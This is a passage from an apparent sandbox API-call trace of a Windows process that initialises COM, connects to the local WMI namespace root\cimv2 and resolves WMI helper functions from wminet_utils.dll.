Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x8b4e578 | out: pCid=0x8b4e578*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0123.521] WbemDefPath:IUnknown:Release (This=0x77d6070) returned 0x3 [0123.521] CoGetContextToken (in: pToken=0x8b4e5d0 | out: pToken=0x8b4e5d0) returned 0x0 [0123.521] CoGetContextToken (in: pToken=0x8b4e9d8 | out: pToken=0x8b4e9d8) returned 0x0 [0123.521] WbemDefPath:IUnknown:QueryInterface (in: This=0x314d2c0, riid=0x72e502b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x8b4ea64 | out: ppvObject=0x8b4ea64*=0x0) returned 0x80004002 [0123.521] WbemDefPath:IUnknown:Release (This=0x314d2c0) returned 0x2 [0123.521] WbemDefPath:IUnknown:Release (This=0x314d2c0) returned 0x1 [0123.522] SetEvent (hEvent=0x8d0) returned 1 Thread: id = 129 os_tid = 0xfc8 [0123.570] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0123.570] RoInitialize () returned 0x1 [0123.570] RoUninitialize () returned 0x0 [0123.571] IIDFromString (in: lpsz="{4590F811-1D3A-11D0-891F-00AA004B2E24}", lpiid=0x8bcf0bc | out: lpiid=0x8bcf0bc) returned 0x0 [0123.571] CoGetClassObject (in: rclsid=0x797f35c*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x72e5b24c*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x8bcedc8 | out: ppv=0x8bcedc8*=0x31c9c58) returned 0x0 [0123.683] WbemLocator:IUnknown:QueryInterface (in: This=0x31c9c58, riid=0x72ea9e44*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x8bcefe4 | out: ppvObject=0x8bcefe4*=0x0) returned 0x80004002 [0123.683] WbemLocator:IClassFactory:CreateInstance (in: This=0x31c9c58, pUnkOuter=0x0, riid=0x72e23e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x8bceff0 | out: ppvObject=0x8bceff0*=0x79fdd80) returned 0x0 [0123.683] WbemLocator:IUnknown:Release (This=0x31c9c58) returned 0x0 [0123.683] WbemLocator:IUnknown:QueryInterface (in: This=0x79fdd80, riid=0x72e23e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x8bcec14 | out: ppvObject=0x8bcec14*=0x79fdd80) returned 0x0 [0123.685] WbemLocator:IUnknown:QueryInterface (in: This=0x79fdd80, riid=0x72e50328*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x8bcebd0 | out: ppvObject=0x8bcebd0*=0x0) returned 0x80004002 [0123.685] WbemLocator:IUnknown:QueryInterface (in: This=0x79fdd80, riid=0x72e50490*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x8bce7c4 | out: ppvObject=0x8bce7c4*=0x0) returned 0x80004002 [0123.685] WbemLocator:IUnknown:AddRef (This=0x79fdd80) returned 0x3 [0123.685] WbemLocator:IUnknown:QueryInterface (in: This=0x79fdd80, riid=0x72e50074*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x8bce524 | out: ppvObject=0x8bce524*=0x0) returned 0x80004002 [0123.685] WbemLocator:IUnknown:QueryInterface (in: This=0x79fdd80, riid=0x72e4ffc8*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x8bce4d4 | out: ppvObject=0x8bce4d4*=0x0) returned 0x80004002 [0123.685] WbemLocator:IUnknown:QueryInterface (in: This=0x79fdd80, riid=0x72d97604*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x8bce4e0 | out: ppvObject=0x8bce4e0*=0x0) returned 0x80004002 [0123.685] CoGetContextToken (in: pToken=0x8bce540 | out: pToken=0x8bce540) returned 0x0 [0123.686] CoGetObjectContext (in: riid=0x72e23e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x31c9bb4 | out: ppv=0x31c9bb4*=0x319ec38) returned 0x0 [0123.686] CoGetContextToken (in: pToken=0x8bce948 | out: pToken=0x8bce948) returned 0x0 [0123.686] WbemLocator:IUnknown:QueryInterface (in: This=0x79fdd80, riid=0x72e502b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x8bce9d4 | out: ppvObject=0x8bce9d4*=0x0) returned 0x80004002 [0123.686] WbemLocator:IUnknown:Release (This=0x79fdd80) returned 0x2 [0123.686] WbemLocator:IUnknown:Release (This=0x79fdd80) returned 0x1 [0123.686] CoGetContextToken (in: pToken=0x8bcefd0 | out: pToken=0x8bcefd0) returned 0x0 [0123.686] CoGetContextToken (in: pToken=0x8bcef30 | out: pToken=0x8bcef30) returned 0x0 [0123.686] WbemLocator:IUnknown:QueryInterface (in: This=0x79fdd80, riid=0x8bcf000*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x8bceffc | out: ppvObject=0x8bceffc*=0x79fdd80) returned 0x0 [0123.686] WbemLocator:IUnknown:AddRef (This=0x79fdd80) returned 0x3 [0123.686] WbemLocator:IUnknown:Release (This=0x79fdd80) returned 0x2 [0123.687] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x314d2c0, puCount=0x8bcf198 | out: puCount=0x8bcf198*=0x2) returned 0x0 [0123.687] WbemDefPath:IWbemPath:GetText (in: This=0x314d2c0, lFlags=8, puBuffLength=0x8bcf194*=0x0, pszText=0x0 | out: puBuffLength=0x8bcf194*=0x17, pszText=0x0) returned 0x0 [0123.687] WbemDefPath:IWbemPath:GetText (in: This=0x314d2c0, lFlags=8, puBuffLength=0x8bcf194*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x8bcf194*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0123.692] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x104, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0123.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\\\wminet_utils.dll", cchWideChar=63, lpMultiByteStr=0x8bce8e8, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\\\wminet_utils.dll", lpUsedDefaultChar=0x0) returned 63 [0123.693] LoadLibraryA (lpLibFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\\\wminet_utils.dll") returned 0x6c1a0000 [0123.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ResetSecurity", cchWideChar=13, lpMultiByteStr=0x8bce91c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ResetSecurity5\x8fs:\x1eP", lpUsedDefaultChar=0x0) returned 13 [0123.714] GetProcAddress (hModule=0x6c1a0000, lpProcName="ResetSecurity") returned 0x6c1a7a70 [0123.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SetSecurity", cchWideChar=11, lpMultiByteStr=0x8bce91c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SetSecurity", lpUsedDefaultChar=0x0) returned 11 [0123.728] GetProcAddress (hModule=0x6c1a0000, lpProcName="SetSecurity") returned 0x6c1a7ac0 [0123.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BlessIWbemServices", cchWideChar=18, lpMultiByteStr=0x8bce918, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BlessIWbemServices\x8fs:\x1eP", lpUsedDefaultChar=0x0) returned 18 [0123.753] GetProcAddress (hModule=0x6c1a0000, lpProcName="BlessIWbemServices") returned 0x6c1a6b60 [0123.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BlessIWbemServicesObject", cchWideChar=24, lpMultiByteStr=0x8bce910, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BlessIWbemServicesObject\x045\x8fs:\x1eP", lpUsedDefaultChar=0x0) returned 24 [0123.769] GetProcAddress (hModule=0x6c1a0000, lpProcName="BlessIWbemServicesObject") returned 0x6c1a6bc0 [0123.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyHandle", cchWideChar=17, lpMultiByteStr=0x8bce918, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyHandle5\x8fs:\x1eP", lpUsedDefaultChar=0x0) returned 17 [0123.785] GetProcAddress (hModule=0x6c1a0000, lpProcName="GetPropertyHandle") returned 0x6c1a7500 [0123.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WritePropertyValue", cchWideChar=18, lpMultiByteStr=0x8bce918, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WritePropertyValue\x8fs:\x1eP", lpUsedDefaultChar=0x0) returned 18 [0123.802] GetProcAddress (hModule=0x6c1a0000, lpProcName="WritePropertyValue") returned 0x6c1a7c30 [0123.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Clone", cchWideChar=5, lpMultiByteStr=0x8bce924, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Clone5\x8fs:\x1eP", lpUsedDefaultChar=0x0) returned 5 [0123.817] GetProcAddress (hModule=0x6c1a0000, lpProcName="Clone") returned 0x6c1a6c20 [0123.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VerifyClientKey", cchWideChar=15, lpMultiByteStr=0x8bce918, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VerifyClientKey", lpUsedDefaultChar=0x0) returned 15 [0123.834] GetProcAddress (hModule=0x6c1a0000, lpProcName="VerifyClientKey") returned 0x6c1a7bb0 [0123.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetQualifierSet", cchWideChar=15, lpMultiByteStr=0x8bce918, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetQualifierSet", lpUsedDefaultChar=0x0) returned 15 [0123.840] GetProcAddress (hModule=0x6c1a0000, lpProcName="GetQualifierSet") returned 0x6c1a72c0 [0123.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Get", cchWideChar=3, lpMultiByteStr=0x8bce924, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Get", lpUsedDefaultChar=0x0) returned 3 [0123.843] GetProcAddress (hModule=0x6c1a0000, lpProcName="Get") returned 0x6c1a7290 [0123.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Put", cchWideChar=3, lpMultiByteStr=0x8bce924, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Put", lpUsedDefaultChar=0x0) returned 3 [0123.854] GetProcAddress (hModule=0x6c1a0000, lpProcName="Put") returned 0x6c1a76c0 [0123.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Delete", cchWideChar=6, lpMultiByteStr=0x8bce924, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Delete\x8fs:\x1eP", lpUsedDefaultChar=0x0) returned 6 [0123.865] GetProcAddress (hModule=0x6c1a0000, lpProcName="Delete") returned 0x6c1a6ff0 [0123.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetNames", cchWideChar=8, lpMultiByteStr=0x8bce920, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetNames\x045\x8fs:\x1eP", lpUsedDefaultChar=0x0) returned 8 [0123.895] GetProcAddress (hModule=0x6c1a0000, lpProcName="GetNames") returned 0x6c1a74a0 [0123.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeginEnumeration", cchWideChar=16, lpMultiByteStr=0x8bce918, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeginEnumeration\x045\x8fs:\x1eP", lpUsedDefaultChar=0x0) returned 16 [0123.908] GetProcAddress (hModule=0x6c1a0000, lpProcName="BeginEnumeration") returned 0x6c1a6b20 [0123.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Next", cchWideChar=4, lpMultiByteStr=0x8bce924, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Next\x045\x8fs:\x1eP", lpUsedDefaultChar=0x0) returned 4 [0123.919] GetProcAddress (hModule=0x6c1a0000, lpProcName="Next") returned 0x6c1a7660 [0123.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="EndEnumeration", cchWideChar=14, lpMultiByteStr=0x8bce91c, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EndEnumeration\x8fs:\x1eP", lpUsedDefaultChar=0x0) returned 14 [0123.931] GetProcAddress (hModule=0x6c1a0000, lpProcName="EndEnumeration") returned 0x6c1a70b0 [0123.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyQualifierSet", cchWideChar=23, lpMultiByteStr=0x8bce910, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyQualifierSet", lpUsedDefaultChar=0x0) returned 23 [0123.944] GetProcAddress (hModule=0x6c1a0000, lpProcName="GetPropertyQualifierSet") returned 0x6c1a7590 [0123.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Clone", cchWideChar=5, lpMultiByteStr=0x8bce924, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Clone5\x8fs:\x1eP", lpUsedDefaultChar=0x0) returned 5 [0123.983] GetProcAddress (hModule=0x6c1a0000, lpProcName="Clone") returned 0x6c1a6c20 [0123.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetObjectText", cchWideChar=13, lpMultiByteStr=0x8bce91c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetObjectText5\x8fs:\x1eP", lpUsedDefaultChar=0x0) returned 13 [0123.983] GetProcAddress (hModule=0x6c1a0000, lpProcName="GetObjectText") returned 0x6c1a74d0 [0123.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SpawnDerivedClass", cchWideChar=17, lpMultiByteStr=0x8bce918, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpawnDerivedClass5\x8fs:\x1eP", lpUsedDefaultChar=0x0) returned 17 [0123.993] GetProcAddress (hModule=0x6c1a0000, lpProcName="SpawnDerivedClass") returned 0x6c1a7b10 [0124.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SpawnInstance", cchWideChar=13, lpMultiByteStr=0x8bce91c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpawnInstance5\x8fs:\x1eP", lpUsedDefaultChar=0x0) returned 13 [0124.004] GetProcAddress (hModule=0x6c1a0000, lpProcName="SpawnInstance") returned 0x6c1a7b40 [0124.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CompareTo", cchWideChar=9, lpMultiByteStr=0x8bce920, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CompareTo5\x8fs:\x1eP", lpUsedDefaultChar=0x0) returned 9 [0124.008] GetProcAddress (hModule=0x6c1a0000, lpProcName="CompareTo") returned 0x6c1a6d10 [0124.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyOrigin", cchWideChar=17, lpMultiByteStr=0x8bce918, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyOrigin5\x8fs:\x1eP", lpUsedDefaultChar=0x0) returned 17 [0124.023] GetProcAddress (hModule=0x6c1a0000, lpProcName="GetPropertyOrigin") returned 0x6c1a7560 [0124.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="InheritsFrom", cchWideChar=12, lpMultiByteStr=0x8bce91c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InheritsFrom\x045\x8fs:\x1eP", lpUsedDefaultChar=0x0) returned 12 [0124.034] GetProcAddress (hModule=0x6c1a0000, lpProcName="InheritsFrom") returned 0x6c1a75c0 [0124.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethod", cchWideChar=9, lpMultiByteStr=0x8bce920, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethod5\x8fs:\x1eP", lpUsedDefaultChar=0x0) returned 9 [0124.036] GetProcAddress (hModule=0x6c1a0000, lpProcName="GetMethod") returned 0x6c1a7410 [0124.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PutMethod", cchWideChar=9, lpMultiByteStr=0x8bce920, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PutMethod5\x8fs:\x1eP", lpUsedDefaultChar=0x0) returned 9 [0124.046] GetProcAddress (hModule=0x6c1a0000, lpProcName="PutMethod") returned 0x6c1a7890 [0124.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DeleteMethod", cchWideChar=12, lpMultiByteStr=0x8bce91c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DeleteMethod\x045\x8fs:\x1eP", lpUsedDefaultChar=0x0) returned 12 [0124.055] GetProcAddress (hModule=0x6c1a0000, lpProcName="DeleteMethod") returned 0x6c1a7010 [0124.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeginMethodEnumeration", cchWideChar=22, lpMultiByteStr=0x8bce914, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeginMethodEnumeration\x8fs:\x1eP", lpUsedDefaultChar=0x0) returned 22 [0124.057] GetProcAddress (hModule=0x6c1a0000, lpProcName="BeginMethodEnumeration") returned 0x6c1a6b40 [0124.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NextMethod", cchWideChar=10, lpMultiByteStr=0x8bce920, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NextMethod\x8fs:\x1eP", lpUsedDefaultChar=0x0) returned 10 [0124.070] GetProcAddress (hModule=0x6c1a0000, lpProcName="NextMethod") returned 0x6c1a7690 [0124.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="EndMethodEnumeration", cchWideChar=20, lpMultiByteStr=0x8bce914, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EndMethodEnumeration\x045\x8fs:\x1eP", lpUsedDefaultChar=0x0) returned 20 [0124.081] GetProcAddress (hModule=0x6c1a0000, lpProcName="EndMethodEnumeration") returned 0x6c1a70d0 [0124.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethodQualifierSet", cchWideChar=21, lpMultiByteStr=0x8bce914, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethodQualifierSet5\x8fs:\x1eP", lpUsedDefaultChar=0x0) returned 21 [0124.082] GetProcAddress (hModule=0x6c1a0000, lpProcName="GetMethodQualifierSet") returned 0x6c1a7470 [0124.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethodOrigin", cchWideChar=15, lpMultiByteStr=0x8bce918, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethodOrigin", lpUsedDefaultChar=0x0) returned 15 [0124.084] GetProcAddress (hModule=0x6c1a0000, lpProcName="GetMethodOrigin") returned 0x6c1a7440 [0124.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Get", cchWideChar=16, lpMultiByteStr=0x8bce918, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Get\x045\x8fs:\x1eP", lpUsedDefaultChar=0x0) returned 16 [0124.086] GetProcAddress (hModule=0x6c1a0000, lpProcName="QualifierSet_Get") returned 0x6c1a7920 [0124.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Put", cchWideChar=16, lpMultiByteStr=0x8bce918, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Put\x045\x8fs:\x1eP", lpUsedDefaultChar=0x0) returned 16 [0124.099] GetProcAddress (hModule=0x6c1a0000, lpProcName="QualifierSet_Put") returned 0x6c1a79b0 [0124.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Delete", cchWideChar=19, lpMultiByteStr=0x8bce914, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Delete", lpUsedDefaultChar=0x0) returned 19 [0124.115] GetProcAddress (hModule=0x6c1a0000, lpProcName="QualifierSet_Delete") returned 0x6c1a78e0 [0124.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_GetNames", cchWideChar=21, lpMultiByteStr=0x8bce914, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_GetNames5\x8fs:\x1eP", lpUsedDefaultChar=0x0) returned 21 [0124.116] GetProcAddress (hModule=0x6c1a0000, lpProcName="QualifierSet_GetNames") returned 0x6c1a7950 [0124.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_BeginEnumeration", cchWideChar=29, lpMultiByteStr=0x8bce90c, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_BeginEnumeration5\x8fs:\x1eP", lpUsedDefaultChar=0x0) returned 29 [0124.126] GetProcAddress (hModule=0x6c1a0000, lpProcName="QualifierSet_BeginEnumeration") returned 0x6c1a78c0 [0124.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Next", cchWideChar=17, lpMultiByteStr=0x8bce918, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Next5\x8fs:\x1eP", lpUsedDefaultChar=0x0) returned 17 [0124.128] GetProcAddress (hModule=0x6c1a0000, lpProcName="QualifierSet_Next") returned 0x6c1a7980 [0124.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_EndEnumeration", cchWideChar=27, lpMultiByteStr=0x8bce90c, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_EndEnumeration", lpUsedDefaultChar=0x0) returned 27 [0124.141] GetProcAddress (hModule=0x6c1a0000, lpProcName="QualifierSet_EndEnumeration") returned 0x6c1a7900 [0124.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetCurrentApartmentType", cchWideChar=23, lpMultiByteStr=0x8bce910, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetCurrentApartmentType", lpUsedDefaultChar=0x0) returned 23 [0124.142] GetProcAddress (hModule=0x6c1a0000, lpProcName="GetCurrentApartmentType") returned 0x6c1a72c0 [0124.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetDemultiplexedStub", cchWideChar=20, lpMultiByteStr=0x8bce914, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetDemultiplexedStub\x045\x8fs:\x1eP", lpUsedDefaultChar=0x0) returned 20 [0124.158] GetProcAddress (hModule=0x6c1a0000, lpProcName="GetDemultiplexedStub") returned 0x6c1a72e0 [0124.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateInstanceEnumWmi", cchWideChar=21, lpMultiByteStr=0x8bce914, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateInstanceEnumWmi5\x8fs:\x1eP", lpUsedDefaultChar=0x0) returned 21 [0124.168] GetProcAddress (hModule=0x6c1a0000, lpProcName="CreateInstanceEnumWmi") returned 0x6c1a6f20 [0124.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateClassEnumWmi", cchWideChar=18, lpMultiByteStr=0x8bce918, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateClassEnumWmi\x8fs:\x1eP", lpUsedDefaultChar=0x0) returned 18 [0124.188] GetProcAddress (hModule=0x6c1a0000, lpProcName="CreateClassEnumWmi") returned 0x6c1a6e50 [0124.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ExecQueryWmi", cchWideChar=12, lpMultiByteStr=0x8bce91c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ExecQueryWmi\x045\x8fs:\x1eP", lpUsedDefaultChar=0x0) returned 12 [0124.191] GetProcAddress (hModule=0x6c1a0000, lpProcName="ExecQueryWmi") returned 0x6c1a71c0 [0124.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ExecNotificationQueryWmi", cchWideChar=24, lpMultiByteStr=0x8bce910, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ExecNotificationQueryWmi\x045\x8fs:\x1eP", lpUsedDefaultChar=0x0) returned 24 [0124.222] GetProcAddress (hModule=0x6c1a0000, lpProcName="ExecNotificationQueryWmi") returned 0x6c1a70f0 [0124.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PutInstanceWmi", cchWideChar=14, lpMultiByteStr=0x8bce91c, cbMultiByte=16, 